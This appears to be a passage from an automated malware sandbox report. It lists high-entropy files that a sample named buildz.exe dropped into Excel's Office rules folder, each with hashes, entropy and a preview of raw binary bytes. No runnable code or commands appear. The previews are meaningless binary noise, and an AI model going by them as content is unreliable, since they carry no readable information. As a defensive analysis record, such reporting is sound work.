.....NcxIa.O:.?..=v.g.......F.....a..q.....R...sZ\|F..K.\|1......4x....uT[."..F~..p}..y..i.....b.k...Bxr...[8WP..aUX..y..ey.z;+.R.%n..c!.{...%...@....Cq..)k.&j3..y.VZ..BH:\..t.I.g.F..[.>...!...).iX..`.J.7[s...f[ZV{<.k.q..B.o..\|u....O.....@(...5..L......B..7m...O....a.c.!.[ ..n....C..G]3....1.s.!......D-.c..>P..'....^{fg'........t..G.y...a..kacb...Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.883582553634353
Encrypted:	false
SSDEEP:	24:GRqptlwoCy1m2xj6Ws3uiRO9Kwei8oj6+iCy8PiLVPhZ0DXDYHVcz4R805fk41bD:GRqp3Xl15RXsa9KCbT/aLVUYHlxD
MD5:	7894BA0FCDE27C09D30F6B6189BE91BA
SHA1:	B2B7F05A29B304CCEB26189AF6E3991478442F26
SHA-256:	4863A3E50F08D30BE26ED79C2A3FBA208ED1E9DC2A7F2B3C332231D4C1918974
SHA-512:	C91E2FFD7BA1D68B5F7CEB38E655DF5067B4CCA0C809665A8DE8F0A5B0D6ED2E4BE16D0F0F80E6863B87494E24D8DC630CBF6CFBB82794809B49996963E23156
Malicious:	false
Reputation:	unknown
Preview:	<?xml~.^.r-...eU....Y...$Kt..Y.#r~vJ.0M.....A.'...ce.t....X.bZ.M.kN.?z....[.n...:+D..5..r...B]..l4.. .;n...M...n....U.>........Q..V'.....>.t.\|/.....79g9..s.m..Hgyh....@.4.......Gsm-:E'E........AAqA.y.....,.Gy.l. .'.4\|..Bj."......Gc..N..1).....G..6....yW.C\;......o.....~g9.(..w....l.....a.....u`..D..v1..Y^......mn...e.....\|...T.i............l4..")u.r'~.50...^b...R..9.....RVbw]..n..o[...;......6.\7.b.f.v.#^'y.%......i..W.\|.....c..I..}k..lP.G.O...}......a...::.?..\....Z...U....`..O..\. .$..f}u..9.....H...i.$X..q.........K.=M.k.$;G]......F......./Gr.~".q.....6.'4..<.mm..$...^...E......D....A.57(mP==x...X.........}I..X....r..[.Ns....2.4......6G8.....o1E&CED....t.cp.G.....].m...@S^....U.*...r.F&ud.UX...F[.b`)T.7..X<..9..4...,....q;..I.....2].-.~...dXik..t.....;M......z.............?LD.c..N..W....5..,.}...Y....6..\....f.$.u.8D ..;.I..A....i\|..1.7O.....`..jH.M0..'...O...D.F...n.~..c~.....9.1..X.E.?..~.o....b.8..!..J.~.,h}...^.4....EK&J}..?.K%P.X..2.b.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.892090947837581
Encrypted:	false
SSDEEP:	48:pCOr1A6JbERmSmvmRDl0NZpX77CvKdE3tD:sOr1A6Smvsl0tyKK3V
MD5:	C5EDDD4B6D22F76A0E25FEA7B8B03CBF
SHA1:	151669315036A972D671B36D1DC7B0240087531D
SHA-256:	72B6626056CB2C5D3C82C31FC87ABAC7814838BAD174815A030D1BAA1EDC7872
SHA-512:	BC0901461C3791E67DB1AA8E878861A6814BC0C4C69613FA6996294E64F8B24F5D3903EFB4F87B69F6E89E6B3918AEB3DC4E80A3549AC18B06CA19795E651C8E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.H..}.l.cO....Z..~E.S..P......#..q.........\g[..z.....k..:.ki...9..l..D.....N.Lv.....sc,.....a..Oo...^..... n..7ac...F..%co.m.Y.q}JE.D3....Z....\.......SL~.~9..2..\|_..G.p.I.?..@.NH.!-...v...L32...N.......8.eRf..v!.:......&F...q-..... lY..3.....cS..7...Z...21.....[]=J. "1!.PO.n...B.C{.M....9.....v..W............4[..7..wu...j.nE.=!...#+...\|..NH.lu...h..\|.........VXJ]....)..'...g.P.w........`.~..8........W...7..5..P...>......Z..........6A.N.}......;0Q..?.....v.)Bs.g...~K.0...ny)..P...cG.g....ra...[.....Z...4>........6,..[.W...._v.,.L....)..V.$/5...-..C+.r..........=_.K..Ix@..`._~...A.d..W.....bcX.v.U..."..N...)=...hl.?.>...._Ct.!L.Q..<Su......<..S..z.;...$.d.B,.tg........a..&..K=..../t.."..8f(.......2G././.\|....4`.W..Pc.....z.&.....;...XHn.V...x}x......\.-..w........S...~...u.ME..O...+..4....\|.z."j.=.B.{..a..'s..."....EU..,.U*jo..\g...U..q...X.Q...I@.....^. ....d.."~...m......c..P..O.....pYis....ym(..!.S....@...TRN.&..k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.867016843160099
Encrypted:	false
SSDEEP:	24:0yuMXQ+8BtgxR0hK/ajFx/3xxu5hMRdiSTvoqdFSngd1vh6aBg1tJCxbD:0QXQhgWK8XZxu5hLYoqd8gnh6a61tmD
MD5:	77ED874259E2918A2A21BFC9FB0AA869
SHA1:	CF3F77D90D36A33B31177DEACB3BFD004782DD9A
SHA-256:	AF9E6C356D142B322ED5AEB0B8017FD0BA357971A4802F5CF4C00D37B2E4C20C
SHA-512:	20A0889916FAC8F6E70C5B5EB9750321011F94A3B5393FF2ED625ABB87874F1560D4506BA7E743965576DCBBEF288B14A91D84D5988ED982D2A091B452D90D82
Malicious:	false
Reputation:	unknown
Preview:	<?xmlsE....C'..'...=5.-..dziaW..X....3...\|.n..6.>=...W..&....@.>..Q.U.K ...m....0..V=.!....k.........2W.....v.}. ....r[...(........\|.r,..<.:..uW...L-..O.p..-F\...<.h..M.=..E.....5.k7...p..&..8.<.+.."&.P .Y...:..8...l.!..l.....h..gM"z7....`.&.T.rvh....@a...x.XS[...P&..rb...Y........( .R.O...........K../h..U....E.?....:Q...'l+..@}..s.^...0.Y..ko....8.........T.6-2.k.M6...7..H..?.a...&Z.4.!........q.... o.h=<At[.H.E..7.bP.....]b.N,gD.k.....7.......oJ{G............j..y..."k..OL.L.M...4.G.\3CvB=........G.%..F...0,6.+..<...<.6..0.T`\....'.z..E>G.Xd..z.P..6.\j7x._\.0A.F.q.L+6;5..s.C.I...<j@4QY..#?.55`f.q...L/..X6...,s.0.}>.o...........^u-.=[IT...^...)....g..E0d..x.-}z.O.zm^..w......+o.~.b"..C..V..........\..Q.JBj.L...jbQ..<#..XaZ.6gkZj.\|KE\.`H.C.H v%r.%'..."c.3ZN`.....mg\|.~....eh..8@.x..Jgw....f...u....q...W...u.a?T..{[C..sk...)..>b.m.*..]..o..jk.^47G...V9.C.y.g..?....>>.X]..xA.Y..}..V.A....8.\...6..t.".....[...F......L...Y..8..4..!......N..O...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.869937045470551
Encrypted:	false
SSDEEP:	24:acQK9RLQKXkVK+M8iUU0ATnHoe7OcmhQ/yTktnLtkkH6WyFyTi98GVTpeDEndMeF:iPKXkInnHicmC/Dxek9yMTide4nR9D
MD5:	A23A8E9D0E37BAFB5CB3F35442366F88
SHA1:	6C37137620F18D08EDCBBF3DBA848D85261BD936
SHA-256:	EB684A8A7F0A74FCF79484669DB35AC632F292A64D4A34F4AA7BE9D326637178
SHA-512:	EFDF4BC4F67FCF482832ADF36328D2919FC0F2DA7AC9312C85FBF87CD395E53F42A6493DB848EC10979875BF3C091A878DFF01FEFDE5400AD1C1D3887B417A1E
Malicious:	false
Reputation:	unknown
Preview:	<?xml83..w.#7c......{..G...8\.d.bT%...cI+v../.x[.o.>.q.R.. 7.+.cn..`l..@U~[..yu]Q..`... .....Wt.~&....!...j..ES.}.-X.2[..1....Q<Q.!u...._I.zFl....2.......a..nH.=...O.f..@Ur.g.y.]K.B).O?.N..1RMHP(.dW..-.>P..\"<>ras)$..D..r9?FS.Z];..........Wtt.L.....G_\!...Lc..{{.W....-.\|......V...?.....p.=pen..x.i..mBI(...P..../dC.........os.H.Xt.o.y..p.........s.A.....i..]..7.H.]....0A9.U.3K......?b.G..D.?...bf.u).I9..Vg...-..e...F...g. n.n.#..../...[.u........V....6-..8._nU..,..;.....m.../..?W..6.J..r....I).\..........0]l.X[..MiI{.p.J.'...f.......(T.M0l.. Y..%A)....n.F....7y..E.C.c.V.B7..ApD.W~.GC....>,.N}$=o..nYR..s.DQ.d.8.vQB...D........T....W..qz........[..A...l...?6.."I.p..H.........]/.\W..".6-D...*...y...A..^AM.R..(.....{.......di..l..sVL$..`.!(.qn.....a...2h@....1...f...w......,...F.M...3."...'..?..1.z.^2..o/-._..'u...A....$...q.&.......T.z........R......wO.1.......L.Zc...........?....@.2iB>].(t..,.LS.9P.S.'!8.c.N.&gti>..q.8...?X...\...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.881855896560991
Encrypted:	false
SSDEEP:	48:dZxScGDFCda/P6WD6lAh/OEJaKzajI6oKD:dZ7GDX/9myF7zaF5
MD5:	3797DE952F6523812FC238CEE8906E03
SHA1:	00C26C2B68403F10173181109ECD1D3F4983BE64
SHA-256:	B4C8B0299FE2C36B3F40FD8AD7889BC0EA5FDEF9FBDE6A109A6777C1C267F2A2
SHA-512:	B47A0B827BF426AD3AB302796BBC02C6DD6F7A04E0184A2E72CC17A4F767B438A2CC572006B64FDF4AFA4DDE3395A80D7416FB1B5CDD15C3D3A8CEC8A211ED60
Malicious:	false
Reputation:	unknown
Preview:	<?xmlb/-k...H.H7.x....?......[........@.ES.\|U.u#._..B....t....t&.L.g.....q.....S...?...S..y{....Q..}.c.^.S.......A.....R.?.........P.K.ni..Md..e^2#..%..+dDSM.S..mu.1.....:X....+q:?....w.Yx....(h,.M...<=c..$s.l.4b..z...5pP..../....6.-+m.qo.,P.2m8......4..R...j..`..@...Q.(6{N.......?.%......R.....[.L./".nKJ.x...r.W.w.?....._E......}w...f...i....).N....q.;p2..b.....T..D.'..M.O......._......Q..Ii.9-...L...f.mgp.3B...........]x..'^bz.cw.u...n..j.<U..z.c4..Bq..gn....g.x..N.I...........Jh-..!.?M....0...R...4b...8>..s..D.h.f..='0....]...=..A..6!d....J. ..c...zY...O5td..D.......!......hp.rO.r"......R....,..Q.Z8......].]s=.7<c..aE...B.^.....c...-..E...s'M.!.....u.;{%JyF&....L.u..6......6.r..G.4:`.....l.....{..^..!.-....p.c...&a:.......&2VBz.h]....\|.e[......p.[.uB....D..:...A.].Y...>=*.....b.d....}..?.....p....]...^j.`.n.g..........n%T)L.....^..n.[b.t........EU4........l}....H."...U2.TH..[>.........p.\|W=......\|H.vQ..Y7.d5Ck...=..g..,...AA/.k..HD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.878455117238362
Encrypted:	false
SSDEEP:	48:w6up+Ec2w9oZSbuoFv3irhMYGxg13LFMDpXeIhfGZL+ZZMAg8ArAD:w6Aa2y3d3ir3FM1eKfGMMAg8Arc
MD5:	385D975EF41B774DEAD71AFCB3FD764A
SHA1:	1A1F01CAC84FA718FA177081DC14B1B11279560F
SHA-256:	4C2340A6F3448541A977BC833589C1553DCD529E9D05D2E83BC1255591C4F169
SHA-512:	7F4EC7F47D05587F30DA8DEE9C77842F4AD9AA955A09853679D65208B589129DB17982FC14FC2699A480E31143FD743FF6C84978ACC7FDFDCD94EB14E5813A77
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....2.Jx.D\.-...3!.H............(.....oo...O...5K..N.7..-J.....=.P....i..K,~...c..x.1.#...Z"al..NQ._......N.Y71.......d.=...Q$.HE.H...9I(..+h....g..iC.RD...r.a..=o....1.H.........z:..4..`...n'r $n.$sg..~.?F..O.UK...h5..,TTA"...q...o.,.^.X....t.Z.68..f....S.....K...1..o`..O!..0(]MqT.n.3...8?>...Q.T..H.#......t.?..V..qZ.....Ozu....c...}..dm#...."2\|a4......e?.(....WW^.+.....q.......0......@.h3./O...&.:..T.g.7.lhY.lr.U....Q..;.....j<.].V.B..T..-..0=D+.R.t}.i.Aj.z.W=.8J..D...,....%.#<5.E..2...fQ(.....&.?(XvX.].0....DXHc..SsUO..\|.+.2...R-...W...b.!.h.[....k..+...u...=Nr...\}....BjY.I..).A..&.e9z9G8..<.m..."....Q..e...[.U..o..N.t....I6.Z~.......r.?..#..E.I.T.....e:......A..E.:...uZ.W]....g3...9...n(....y..;.b.L....T.Db..._uz.w..R".................wp..._.....?....P.W.8.//.SmG?...H..U...WpHRbl....a..........'!7`..'..]...n.F.n.^.(j./.x.^..........?7...nR.t.q...... .0F.X...G2...\|.....f........5-eZ*xa..".z.....M..c.ILV.I'?..Z:..,....."HO.W...a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.888768727674005
Encrypted:	false
SSDEEP:	48:MSxABwP9LqgZhzZgpX/3rPdARSFXJpvDobAC74y1xmXkD:MCFbZh9gpXJARqXLvEUO4y1xmXw
MD5:	653BD7DFB94EE889C8D6BADB4327FD2B
SHA1:	C0231F64CA30A65F6C8AC3F39B4349894C1ED4EC
SHA-256:	B88A4B5307B79C2D9A3C24F27808BB1223A95CC9E021822C9C220C8CD51F36D4
SHA-512:	E6BC0848EFE401D43730162547801726BC7FBC3ED45E50A83F1E8AE7D0AAEAB93F23E5E3EA4CC6D92EFAB8F23A1E8C2CDABAC03FD2944447C2C40A462D97CF81
Malicious:	false
Reputation:	unknown
Preview:	<?xml....N..I.8.wi.OaZ@.dX...2...\|oHZ.BY..+..\...\|/jE&w.a...w....U....1.R[ga.D3..g.:..7W.......Cv...\|.V.}2A..'v...E.<.._..S...@.....#J......A,..1\.." .G..;>\|.ma..-..)....X..h.jnP..r.....3.....G..([.~.o'.Z6........@....^.=..(-.#.W..E.,.. . .U.c.4Y..X.3..).@.O....y.....+. .O....L..O}.=..o..Ug.-...$Cy.F...../.RGP.83.=p.~\|O..j....y..i..y..;.q....6..+.X.c-.;..C......,:.D.{......$.K..k...\..........w4>.......C. .:.WGt.Q=.;...V.v.W..\|z+...[8...#....>sr.V...t_..@R....}ru~-...<....\...4..K.EZ...G.LW...!...>...o}$.g....d..:mn..%.ur.[^.i.vGs...9i_....E.....aA..4.Yt.(....u....Ot/.4....Th.9K..)..\.\....e..V..N............._.7...(.....r^a.'6.......].3rA..F..9.r>u..T)f..n.U..".3..9.O...'..b~..c..}@.g.m..w.....T....Z^......./....#.F/....h ..*......:/...,...N9.....c^.z..;!......9..A_..#B..@1Z-..OCv.Q.l.P=.Y...L..\.C.6.8..Z.......8......l.?...f....xRP/.O....\|D>....q.!~....b.qb.1...8....W......A.m..\|.o..I.........j..I..{..w..Z@/.t........n.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70500v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	814
Entropy (8bit):	7.731847803474494
Encrypted:	false
SSDEEP:	12:jD90mNJQ+EXh2eb/vkgPCH7l8uUJ9ei1/cuq0o6RgdwdpZFNjMIb7yYsR0Klt1+X:jp0ghEXge/vdu7+JkKRPopWX1yHkbD
MD5:	39D74BB181904F6C7651FEF6F90AAAC8
SHA1:	8D8FCC0246727DA94B348DC368307C1F4177A218
SHA-256:	7EAE05EA2B2399CCE1BD7D0C4C8642450396CF5E2F1B371FC5200AEE6BBE5891
SHA-512:	C0DF3B8FD444820297502CD8C7FBC57BB4EC169497994A340B4149E8273C55ED851AE155238CDFDF8AF5F5885D9B848C413CA5913E267BEDC6AF7A30C9409843
Malicious:	false
Reputation:	unknown
Preview:	<?xml.'..p...el1;sM..WYM...+[f...(.Dz...P..]..%..5?..........lN.O"$..6Ct...0...I&...U.BC#o^..Ak9O...[?U..}xm........+.2p...OL..{.2...e1ibU.:@...........&,y..J..94..2...x........0.8..Z. k...^..s.T.u.M..h./.>r...E9.7.c..!.....u..+J.-..F..qzJ99.7.(0:d$......'...)9....DLE.9..<...kx..D..I.(O.hq...v../U.B.%.....e.q.f..j.c..$...O65.&....BE,.7..k4.j.!a.K.s..kj'.cB...USVbQM..M=t.?......^...'..(..c..R...._.N.R..8.&\.0.Y...............l....;JD.'.&....[p7..XTo.p.z0=@4.0c..5#\.&..+.).A[..m.......8+..C)m>.......'.aR.I5.N.....#.....,<O..h.\|.j.z.m....Z.d\v.K....%.c....<`..9.q_kFD;...bn...90...M..X7.Y..H..+u.....[...T..2.J.x.R......g.<..P.x%p.4.t......j...."pq..OS;.....F.DxF:AG.R.?....,)._.'.".W.^kH.@PTP.#nSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70502v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4033
Entropy (8bit):	7.95368073721328
Encrypted:	false
SSDEEP:	96:5bD9+C9Efseg016f+eGvS1CkbggaNpZcZlYvnzCq:VRghgW6H+S8kcgVZlY7f
MD5:	552B6B6E56F2C4726950511C986B5AA0
SHA1:	5EF3B8F282CA5E1D2E4BED29C1CEA4CC3AE903EE
SHA-256:	BB7AEF234ED593542CE0F169774630502FF68C32526F7E8E7D0CE9C354726C8F
SHA-512:	BED5E6BEB319B108C93D2ADB997B2B08406E72D4DF3E792110E17010743C45D92E715793CD70E49A44A92C8871FBA1B6E69E3C49FD6ED6E3A34814A556DFE03D
Malicious:	false
Reputation:	unknown
Preview:	<?xml.U.......?.W2.'o..C..eUj..sP...l.."v?...0.cX..w.....zw....#.8.R.5.....h...Nu....Q...j...........Vn..a.Vp...9.V...:!......+..`.Q...g(.E.a.&.....~u..36b,4.qi......:.$A.n....5...L.3....~[.0$.^.......Y..X..6P\|j.}.nzH.......h..Ug.D..ER..\......Zaf.a..ag....{...a.e.{...q...........1w.%.T..L...;$.^..].y.'.R...<8..........F.',L.....''"..yt.1.RD...dP.....7.."..c.j..O...r.W8Z...o.....W\|m.r.G.Dt.~..6.wJ.RJ...jOL..T.....,.....A.....v8g.g..t.B.G.8................H.I........~....O..t\|..$.'.{0.....~.+I..#.m'Ha...3..W.jJ..2V......f....@j..G.B...\b/1..:.G.).@P....h.....X....b.... M..J].Cg..........%%X.T......}/....2..jGO.4....Upq.6......T7E......}-..T.....p3..xX.l.2.......ff.0....N.W,....J.k'9f...0O...:...]..+(\|.s...q1V.l.......]..<.0X..x.fM........0.po..r.]E..5;..#...kb.#....x.L....HZ..H.?.#.v..w.'(...5H.*f5..Xb.1....>..M...wq.....S..^.i.....E2V.pY-.j..d...a....6^.~.40a....k.....-j.4KU....f..H..(...`....i...f..MF.0w...).R...g{.......R..r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70503v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2300
Entropy (8bit):	7.919954200760023
Encrypted:	false
SSDEEP:	48:7S7X23RXjCQkgeyZ1vv96ci7M5TLQZ3wSXgMl05OI3hlqVD:7S2BzC2/1rd9kMwI3zqt
MD5:	58B355CB434216489DFCAF7DA4B84C5A
SHA1:	498CD52090A584268AAD09105EBBCF3BB7162DF2
SHA-256:	3DF0DA4FC311F9FD7092D5988032A33CD51F680445028BCBB578CF83C12FBE4E
SHA-512:	F4649981846AC35FBB1F46A0D2B943976917308D0FA39FDD76C0E5571F04CC2BD9D6C764196D56076BC73C4FA2693F2A6D3D1E8A059AB8ADFC2B3F173F10DEB4
Malicious:	false
Reputation:	unknown
Preview:	<?xml...)...jR.l.Qk...E.'...>..9..z4.+.`3.&h.u.....-.+-...g.>..R..q.L.+...ub..fz..Z.3....T.....,...Y..K..q.>..iD.!j=...G\<X..H....c`_..z...>...lJ{[f.........=..I...KG...K....A.\|.w..-B..N...+..%w..:;...~C.!.)KAc...R3....^=.C....R...8.n!.2......B.\.3..TB,.#....I.V.A"....,..V..e... K.f.F..v..Q.>..E....C.aB....p....h..es.S...0..Ca..e...O.$..tYJ#.8.V'...>.z.`.{..ei.UD.....1.._......<R8..a....Y...Lt2.7...6.....g.,y$........'.x.eG..0..w;V.R..6RNe.D.x...DD001.Pn..9. hc.0.~..$....~....e[.."...n.......".....~..\|.Ic_.3.H..y......e..G4.....2...H'.h..0........?.<..E..yb..t...Wh._..I....Q...L.A....^.......].[..v.."$. L...Q)B...;..y.`CR.Z..4..;...yL...%zeL.Y...n..D...z..7-..%.Xdh....p.B.&.v.._......\|......h...&4p9...}.N.?n....p.i...a..i.\|.....%.".9...-.'.] ......!W.l.FX...A.."R.:...z.qw^.e.JK.uZ.q...._)..*.....^0..>.J.2)P.}....T:.o....(3...n.#^P..H..>}O.o..\|.o...4$.kC-..M.r...x...@.2j.{\|.WV.....>.=f.G5..........I...\|%.....,.4.e.W3...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70504v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2370
Entropy (8bit):	7.9192711691841
Encrypted:	false
SSDEEP:	48:jknNWEDQzu675A81Y5fo1k7VJkHsWp9rvNGZ6t45KV2D79D:dEDodnY5fo1kjkHsWDNJt4U2F
MD5:	C5B203B5C7C050B66626BEDF7002A102
SHA1:	A1F606FE7FD8DA55FAF89E63CD6379839BFC64EA
SHA-256:	7699E4D84EF216F0C897542C1CB8A1BBAE982170B9FDDFF4134F46264969947F
SHA-512:	687B3431388335FD711001672AEDE003C4E242EC1A1FE269368566078BCE4981DD9CBF17115C53BE4055B382AFF48A47176758A38EC87400AFE8EB82D2E06408
Malicious:	false
Reputation:	unknown
Preview:	<?xml../...;.....mM.y.V..k...i^.....sm.....S.W.'........R..\|\|.{....x.....D.Y.W.3M..i......x.Z...M......d...k)..>...H./..@.g..t.....,..S..4....[....sbL.}...J.8..l..K...\0.V.6...S%`@\|. ._7....q=........3.[....w...{v3...3..]........d.:...h..?.C6..Q.N.r..."...8eZ.DmY...K......c..\|.../.@K....?eGpN.Pd...7(b.{..KZ..]..4..h..y@.9).E..ST..{.Az:...(....Z.<u...E...g[X6...\|..R..PUz..R.x_.[...............j.j...WPQ.~...%.j.Lf]..9.O...P8-.y./1...y.j.,...px...t.r.(..&.5.W.-.v.x.d23.=....?.22.!.[...b.+d..6...w... R5.m....n.&T...x..0..........G....VA..h..h<..{F.1..\_x..:K..:.M._..A9.......60..SIi...D..D@.z.-..(.N.....0....%...5.R.zal.....<.^;..N..,..7.#..TTx.F.. . .C.7....\|.gs.z.Z)Zb..S6z......,SJ.9..S_s..H .....!.2f.K..F...k.3..f........I.M-..{..N6...B....P..a....e....\|...q............h........r0..I.V.Zp...mP&...f...e%[....Se..W......@.}.fA.5.FMK.Y1}...M..................U..C..._.2.k,.g$._9....2..y..$.y.[_Eq~..\|lkB.._.n.6..8..........\|] v..=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule840000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3073
Entropy (8bit):	7.935883417323309
Encrypted:	false
SSDEEP:	96:TMsGPX0NBUtfi2b1y8fkFHvyXnBUyoev++QYW7:9GPXAU1zyZPEBUe2+Q97
MD5:	99B83061F68631B994C89488647FAD13
SHA1:	D96796E09650E048AB85C0E10B692CC240DCDB1E
SHA-256:	E5B39BFF201E0261B02083B553E1FC68564F11D431EFC1E9267D40898ADD5FED
SHA-512:	3B9C528C886ECD0221904162505579D221C06CACC8A2E9C2F1563EA63FD7281397A6D22668AEAA482F28BA9D5D9543289ACFB8E0EF2BEFA42C152102295BF144
Malicious:	false
Reputation:	unknown
Preview:	<?xml..H.....yZ8I.L'..57b...C6..3.p..AZ2.........]0......Na...s6U.....W..E~.]...&p.vT2....c.Y?.&....?...%..W.5..n.7/J.E2..E.=..'a.....oE...k&...o..v.......Ks.`-.-.....5...ZB..k&..z.D...\|G.Z..5.iE.v._..{.....C.cG..T^..a......T...\.#..QR......^.yY...+f..W.k.....@i.H.3.y...,.1A.....s..Y/dJ.4.7..._...L.M.T...`i,..e.@o..].Z..V..0].../...#.......cV.?...w.(........2..T...Km...Ex.B.Kp.....\......:.Ma........cc.)..``....Es..2:D<.....h.$q.,3.M}..L.M.y...2..Dw......K.V....t.].FI.t.%M....2...9>..3@y.8Q.:..h.._Au.....l.U...j.l..1.cP&....y."..h..S..R...^..iX."6.......::.n.......s.wE.!..........._.?..J~....k...K..<....[./.S.k:..8.d.F../....7....h#1......p....E".e...}.K...Y...}....._......^9aS.c...s.......l....I......0...n...-..3?/...v.k.>{...n.....I..u..m.&%1...D....%..^..i.V9G(.B#.......h..R..4.E!g.....<.Q.n...\.P.c9.~.....G........:...#...Fm...4...`*...}......V....Y....P...[b....\|.n....4...uy..u..(F.sCC..H...:I<.0&..C..,....h.6..p..J...y.e.]u....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule840001v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	7.798357485091509
Encrypted:	false
SSDEEP:	24:Did0NDNcvlNVO1aUUrCgUOY1V6mNE4Y79S/RAeeCPiIUebD:Di2yr6armhE97A3eIFD
MD5:	877172177986F9D0826F1F75449FC1C5
SHA1:	FACA361FDE318B9FB9B10909F9F7DD12A462213C
SHA-256:	9C414A4A4A01BD7FA10163DF1C5CCB5EF3A188093C3647C6A9359F1F9CEB46C9
SHA-512:	A104B9FE0DDE61EB08C84FFF8367CC6DAF876F474982B2345216A71462B36F797543F981E7A57739F1062CACC00DEEE9902205A12BAA1CFFD18C231401E34803
Malicious:	false
Reputation:	unknown
Preview:	<?xml......h..<..q........{.E.....h....+.o....H".....j#...y....9K..6..J.......w.._.........c.....L...qB..Z?..5b=..l......`S~..<.6..Z).H....Zp.......~....4Z../.9....G!v...n.".....S....8.:\:.......Y.....&.Tu.W.QY."$.D..4..L.....f...b.>%r....Y"....u.P...c./.n.....U......L..K[_..`.X.T./'u..A..R...,L.].Jr.l55.+._J...~c0.E............zW......>Q.2...n..........0T8C~-.......&...s.Lf.C.d.N~3"..k......).hB. .e......7n.e~Jn.n.....Y..YQEd....9W.H.Bg....N)..4'.T1F.[.u...b. ..ab..]{.4.^.~T....L.T.].oj.w.h.d..p.6...X$J...+U...........7.Dl......t. ..s...c.>7...k....E.O..C.0..(Z...?...p.Kq...... ?g.}Kc.N..0.~.@...s.bYBK......2:<......0...H...F.mR./..C.........s...;..f)......K.+.....fq.......l......#1#..D.-.R.KkZh..Z...r...4......C...#_.f.H.....X~.I..U...1....).j..pA.S...5..e.v...p..(..Ey...... tq..Vgd....E.@q.K.D..Pu....:}......Exk..5..E8Qb7..z.G.{.._.g..^..H~.J...m%.9.....[m....X...P.(.....+.....m..!+.}..lSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule840002v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1366
Entropy (8bit):	7.85642887018085
Encrypted:	false
SSDEEP:	24:xda4dh4bzvsC8Fw2fTOGLO9tDIUSq6Gzr26mNY51yhPFRQD3rHJBDXd24T047MPC:Q7g24TOGa7U9q72FNY51yhdRQxt7MPKD
MD5:	8D906EF3EF4BBE380C143E340E45D561
SHA1:	6DD54B868271058C14CB443953961A365C7AF760
SHA-256:	7E848AA62F0DA956C4C5058D7278332094A7E79ADBEF94BED29CE7D2BE4449BA
SHA-512:	AEDFE4FB86660925FC219F774231445B27B0D4D797FD05A0FD6F4516C98244D724DD9CE27F555D6744FC23726446043F8DA22A02FAEE7E5F50A27856F0611C05
Malicious:	false
Reputation:	unknown
Preview:	<?xml..}E.q..9.[.R(ue......t...."..p..g..DuQv.e.-Y..DU.......F:.d..J..ax..Zy#...PC...0.R.....V....a....c.tW.1..^I...&PLOD.......m+..oY#m...+U..=.%......}_...~+.%..$...0...x..E..!......S.a..Z[....Mt;.......>k.Jw.........l8.b..Q...VG..4....p.+.R"..X9U@....._.4.P~.....>(..;@........... .......AB.`....:&.N...\|B.t............U.h...}..3.AK.V.5[.T.B..5[...%..cb.._eY..m...ey.2..$....Hw.V...Q6...v..TP.R........^.;.......:..mK....;...&..QqDE.@U/...MF.c....a.xA......o%..\|t..gT++..1\|....[Z.t.nZ.%..Q>'..lT...D...G%so ..9.T....J....q.4/.aS.$....U.p......Tk.e.\|...z...{./....l.6.[...i..Vy.o...~qO#7-e{a..(.`...R.......%.q...\....w.FH..@.N..Q?......;[s..0.n.)..!..p....d..n2.D.)...../W...C.f.}....3.z.V.DB8<....p...h2.3..\|..)o.l..(&.P..@..gq. . 